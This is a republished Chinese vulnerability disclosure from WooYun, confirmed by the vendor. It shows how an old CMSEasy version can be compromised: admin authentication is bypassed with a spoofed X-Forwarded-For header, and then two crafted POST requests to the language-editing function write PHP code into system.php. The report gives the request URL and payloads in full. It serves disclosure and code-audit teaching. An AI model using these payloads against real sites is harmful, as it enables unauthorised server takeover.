cmseasy 最新版任意权限getshell

admin 2015年4月20日06:36:51评论444 views字数 7063阅读23分32秒阅读模式
摘要

2014-07-04: 细节已通知厂商并且等待厂商处理中
2014-07-04: 厂商已经确认,细节仅向厂商公开
2014-07-07: 细节向第三方安全合作伙伴开放(绿盟科技、唐朝安全巡航、无声信息)
2014-08-28: 细节向核心白帽子及相关领域专家公开
2014-09-07: 细节向普通白帽子公开
2014-09-17: 细节向实习白帽子公开
2014-10-02: 细节向公众公开

漏洞概要 关注数(51) 关注此漏洞

缺陷编号: WooYun-2014-67333

漏洞标题: cmseasy 最新版任意权限getshell cmseasy 最新版任意权限getshell

相关厂商: cmseasy

漏洞作者: phith0ncmseasy 最新版任意权限getshell

提交时间: 2014-07-04 09:30

公开时间: 2014-10-02 09:32

漏洞类型: 命令执行

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经确认

漏洞来源:www.wooyun.org ,如有疑问或需要帮助请联系

Tags标签: php源码审核

13人收藏

漏洞详情

披露状态:

2014-07-04: 细节已通知厂商并且等待厂商处理中
2014-07-04: 厂商已经确认,细节仅向厂商公开
2014-07-07: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2014-08-28: 细节向核心白帽子及相关领域专家公开
2014-09-07: 细节向普通白帽子公开
2014-09-17: 细节向实习白帽子公开
2014-10-02: 细节向公众公开

简要描述:

这是一个很长的故事,还请客官慢慢看来。(看在我这么晚还在挖洞写文章的份上,求闪电呀!)
版本:2014-06-05

详细说明:

0x01 首先,从一个后台未授权访问开始讲起。

看到文件/lib/admin/admin.php

code 区域
if (!defined('ROOT')) exit('Can/'t Access !');
 abstract class admin extends act {
     function __construct() {
         if (ADMIN_DIR!=config::get('admin_dir')) {
             config::modify(array('admin_dir'=>ADMIN_DIR));
             front::flash('后台目录更改成功!');
         }
         front::$rewrite=false;
         parent::__construct();
         $servip = gethostbyname($_SERVER['SERVER_NAME']);
         //if($this instanceof file_admin && in_array(front::get('act'), array('updialog','upfile','upfilesave','netfile','netfilesave','swfsave'))) return;
         if($servip==front::ip()&&front::get('ishtml')==1) return;
         $this->check_admin();
     }
     function check_admin() {
         if (cookie::get('login_username')&&cookie::get('login_password')) {
             $user=new user();
             $user=$user->getrow(array('username'=>cookie::get('login_username')));
             $roles = session::get('roles');
             if ($roles && is_array($user)&&cookie::get('login_password')==front::cookie_encode($user['password'])) {
                 $this->view->user=$user;
                 front::$user=$user;
             }else{
              $user=null;
             }
         }
         if (!isset($user)||!is_array($user)) {
             front::redirect(url::create('admin/login'));
         }
     }
 }

这是一个抽象类,是作为所有后台类的父类,它的构造函数里有验证管理员是否登录的代码,也就是check_admin这个函数。

但是我们看到这两句话:

if($servip==front::ip()&&front::get('ishtml')==1) return;

$this->check_admin();

大概的意思是,如果当前ip等于$servip(服务器IP),而且ishtml==1的话就return,也就没有执行check_admin函数。

那么,cmseasy是怎么取当前IP的?

很经典的函数:

code 区域
static function ip() {
         if ($_SERVER['HTTP_CLIENT_IP']) {
             $onlineip = $_SERVER['HTTP_CLIENT_IP'];
         }
         elseif ($_SERVER['HTTP_X_FORWARDED_FOR']) {
             $onlineip = $_SERVER['HTTP_X_FORWARDED_FOR'];
         }
         elseif ($_SERVER['REMOTE_ADDR']) {
             $onlineip = $_SERVER['REMOTE_ADDR'];
         }
         else {
             $onlineip = $_SERVER['REMOTE_ADDR'];
         }
   if(config::get('ipcheck_enable')){
    if(!preg_match('/^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])/.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$/', $onlineip)){
     exit('来源非法');
    }
   }
         return $onlineip;
     }

这个函数里HTTP_X_FORWARDED_FOR是可以伪造的!

所以我们只需要伪造一个IP地址,和服务器的IP相同,就能绕过后台登录检查,直接进入后台。

官方演示站把前后台分离了,不方便演示。我就随便百度上找一个站吧。

就它http://**.**.**.**/了,先ping一下看到ip是**.**.**.**,然后用任何方法将IP伪造成**.**.**.**:

cmseasy 最新版任意权限getshell

然后带上get参数ishtml=1访问后台即可:

cmseasy 最新版任意权限getshell

 

cmseasy 最新版任意权限getshell

不过但是,cmseasy后台并不是只验证了你是否登录,还有很多地方调用了chkpw函数验证你的权限,这个是没法绕过的,所以很多后台功能用不了。

不过已经可以看到很多敏感信息了,比如说加密cookie字符串,通过这个字符串是可以注入的,但这不是今天的重点。今天是要getshell的。

0x02 丧心病狂地找一些没有验证权限的函数

很少有函数没有调用chkpw验证权限,可以说基本所有设置、修改网站信息的地方都验证了权限。

但还是被我找到一处,设置语言的函数,/lib/admin/language_admin.php 第42行:

code 区域
function edit_action() {
     $path=ROOT.'/lang/'.config::get('lang_type').'/system.php';
     $tipspath=ROOT.'/lang/cn/system.php';
     if (front::post('submit')) {
         $content=file_get_contents($path);
         $to_delete_items=front::$post['to_delete_items'];
         unset(front::$post['to_delete_items']);
         foreach (front::$post as $key=>$val) {
             preg_match_all("/'".$key."'=>'(.*?)',/",$content,$out);
             if (is_array($to_delete_items) && in_array($key,$to_delete_items))
                 $content=str_replace($out[0][0],'',$content);
             else
                 $content=str_replace($out[1][0],$val,$content);
         }
         file_put_contents($path,$content);
         if ($_GET['site'] != 'default') {
             $ftp=new nobftp();
             $ftpconfig=config::get('website');
             $ftp->connect($ftpconfig['ftpip'],$ftpconfig['ftpuser'],$ftpconfig['ftppwd'],$ftpconfig['ftpport']);
             $ftperror=$ftp->returnerror();
             if ($ftperror) {
                 exit($ftperror);
             }
             else {
                 $ftp->nobchdir($ftpconfig['ftppath']);
                 $ftp->nobput($ftpconfig['ftppath'].'/lang/'.config::get('lang_type').'/system.php',$path);
             }
         }
         unset($content);
         event::log('修改语言包','成功');
         echo '<script type="text/javascript">alert("操作完成!");window.location.href="'.url('language/edit',true).'";</script>';
     }
     $content=include($path);
     $tips=include($tipspath);
     $this->view->tips=$tips;
     //分页
     $limit = 30;
     if(!front::get('page'))
         $page = 1;
     else
         $page = front::get('page');
     $total = ceil(count($content)/$limit);
     if($page < 1) $page = 1;
     if($page > $total) $page = $total;
     $start = ($page-1) * $limit;
     $end = $start+$limit-1;
     $tmp = range($start,$end);
     $list_content_arr = array();
     $i = 0;
     foreach($content as $k => $v){
      if(in_array($i++,$tmp))
           $list_content_arr[$k] = $v;
     }
     $this->view->sys_lang=$list_content_arr;
     $this->view->link_str = listPage($total,$limit,$page);
 
 }

这个函数没有调用chkpw,直接访问看看:

cmseasy 最新版任意权限getshell

确实可以访问。那么我们仔细看看代码,关键就是我列出的这块:

code 区域
$path=ROOT.'/lang/'.config::get('lang_type').'/system.php';
 $tipspath=ROOT.'/lang/cn/system.php';
 if (front::post('submit')) {
     $content=file_get_contents($path);
     $to_delete_items=front::$post['to_delete_items'];
     unset(front::$post['to_delete_items']);
     foreach (front::$post as $key=>$val) {
         preg_match_all("/'".$key."'=>'(.*?)',/",$content,$out);
         if (is_array($to_delete_items) && in_array($key,$to_delete_items))
             $content=str_replace($out[0][0],'',$content);
         else
             $content=str_replace($out[1][0],$val,$content);
     }
     file_put_contents($path,$content);

看到file_put_contents感觉可以写文件,但怎么利用呢?

这个函数思路大概是,先从/lang/cn/system.php中读出一个字符串,并循环遍历$_POST,正则匹配出'$key'=>'(.*?)',这样的字符串,然后判断是否是删除,如果是删除则把匹配出来的替换成空,如果不是删除则把匹配到的(.*?)替换成$value。

所以,我自然地想到,匹配到的(.*?)替换成$value,只要$value能闭合单引号,就能写shell进system.php这个文件里去了。

但偏偏因为全局过滤注入,所有$_GET都被addslashes了,不可能逃逸出单引号的限制。

0x03 一次不行,二次呢?

这时我关注了前面这个if语句:if (is_array($to_delete_items) && in_array($key,$to_delete_items)),如果$to_delete_items是数组,而且$key在这个数组中,则用str_replace将匹配出的内容替换成空。

$to_delete_items从哪里来?从POST中来,也就是说是可控的。所以我们可以删除某次匹配的数据。

这时我就会想,第一次我注入了一些数据,如果我再POST一次,能把第一次注入的多余的一些数据删除掉(比如删除单引号,或转义符),那我的webshell不就可以逃逸出单引号了吗?

而且,注意,这里的正则用了非贪婪模式,也就是说匹配到第一个'就停止。

所以,我举个简单的例子,比如我第一次输入的数据是a=1111',phpinfo()

保存在文件中就是

code 区域
'a'=>'1111/',phpinfo()',

那么第二次我再次匹配到a,因为非贪婪模式,这时匹配到第一个'为止,也就是匹配出这些内容:

code 区域
'a'=>'1111/',

如果第二次传入的参数是to_delete_items[]=a,那么就会删除我匹配到的,剩下什么?剩下phpinfo()'

phpinfo()成功逃逸出来。做一些处理,让这个文件不出错,就能完美getshell!

漏洞证明:

说干就干,首先本地搭建好了最新版cmseasy。

用firefox插件X-Forwarded-For Header修改IP为**.**.**.**(本地服务器地址)。

然后访问http://localhost/easy/index.php?case=language&act=edit&table=orders&admin_dir=admin&site=default&ishtml=1,发现越权访问成功:

cmseasy 最新版任意权限getshell

然后就向其POST第一个数据包,内容是:

code 区域
submit=1&send_email=1111',phpinfo());array(1,//'

 

cmseasy 最新版任意权限getshell

这是查看system.php发现send_email这一项变成了这样:

cmseasy 最新版任意权限getshell

好,我们再来POST第二次:

code 区域
to_delete_items[]=send_email&submit=1&send_email=1

 

cmseasy 最新版任意权限getshell

这时再看到system.php发现已经成这样了:

cmseasy 最新版任意权限getshell

访问发现getshell完成:

cmseasy 最新版任意权限getshell

修复方案:

你们懂得比我多。

版权声明:转载请注明来源 phith0n@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2014-07-04 14:57

厂商回复:

感谢,立即修正

最新状态:

暂无


 

漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

 

登陆后才能进行评分


评价

  1. 2014-07-04 09:31 | Vigoss_Z ( 普通白帽子 | Rank:467 漏洞数:73 | 楞娃)

    0

    牛! 指点一下哈

  2. 2014-07-04 09:53 | ′ 雨。 cmseasy 最新版任意权限getshell ( 普通白帽子 | Rank:1332 漏洞数:198 | Only Code Never Lie To Me.)

    0

    - - 表示膜拜。

  3. 2014-07-04 10:19 | 秋风 ( 普通白帽子 | Rank:438 漏洞数:44 | 码农一枚,关注互联网安全)

    0

    NB!

  4. 2014-07-04 10:21 | 索马里的海贼 ( 普通白帽子 | Rank:264 漏洞数:25 | http://tieba.baidu.com/f?kw=WOW)

    1

    来吧宝贝儿 把手剁了吧

  5. 2014-07-04 11:25 | menmen519 ( 普通白帽子 | Rank:970 漏洞数:166 | http://menmen519.blog.sohu.com/)

    0

    这个要火

  6. 2014-07-04 11:29 | roker ( 普通白帽子 | Rank:372 漏洞数:109 )

    0

    !!!!!

  7. 2014-07-04 12:00 | phith0n cmseasy 最新版任意权限getshell ( 普通白帽子 | Rank:834 漏洞数:127 | 一个想当文人的黑客~)

    0

    @索马里的海贼 昨天考试考太烂,顿时不想复习了,不如挖挖洞 555记得打麻药

  8. 2014-07-04 12:22 | mramydnei ( 普通白帽子 | Rank:400 漏洞数:87 )

    0

    我要右手好了 左手估计你还得用

  9. 2014-07-04 15:18 | 泳少 ( 普通白帽子 | Rank:257 漏洞数:84 | ★ 梦想这条路踏上了,跪着也要...)

    0

    @′ 雨。 表示膜拜。

  10. 2015-01-29 12:17 | m-33 ( 路人 | Rank:16 漏洞数:7 | 想要联系我?)

    0

    好屌,好屌!膜拜一把

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2015年4月20日06:36:51
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   cmseasy 最新版任意权限getshellhttps://cn-sec.com/archives/16698.html

发表评论

匿名网友 填写信息